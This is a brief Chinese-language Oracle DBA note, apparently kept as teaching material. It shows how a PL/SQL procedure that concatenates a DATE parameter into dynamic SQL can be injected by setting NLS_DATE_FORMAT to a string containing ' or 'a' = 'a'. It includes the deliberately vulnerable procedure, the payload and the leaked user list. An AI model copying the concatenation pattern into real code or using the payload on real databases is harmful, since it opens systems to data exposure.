[20170912]sql injection例子.txt

--//来之tom的例子,做一个记录.也许以后讲解需要!!

1.环境:
SCOTT@book> @ &r/ver1

PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

create or replace procedure inj( p_date in date )
as
        l_rec   all_users%rowtype;
        c       sys_refcursor;
        l_query long;
begin
        l_query := '
        select *
          from all_users
         where created = ''' ||p_date ||'''';

        dbms_output.put_line( l_query );
        open c for l_query;

        for i in 1 .. 5
        loop
                fetch c into l_rec;
                exit when c%notfound;
                dbms_output.put_line( l_rec.username || '.....' );
        end loop;
        close c;
end;
/

SCOTT@book> show parameter nls_date_format
NAME             TYPE    VALUE
---------------- ------- ---------------------
nls_date_format  string  YYYY-MM-DD HH24:MI:SS

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:47:16'
PL/SQL procedure successfully completed.
--//注意sql语句的输出.

2.修改环境变量定义:

SCOTT@book> alter session set nls_date_format = 'yyyy-mm-dd hh24:mi:ss"'' or ''a'' = ''a"';
Session altered.

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:48:10' or 'a' = 'a'
TEST.....
WYL.....
BI.....
PM.....
SH.....

PL/SQL procedure successfully completed.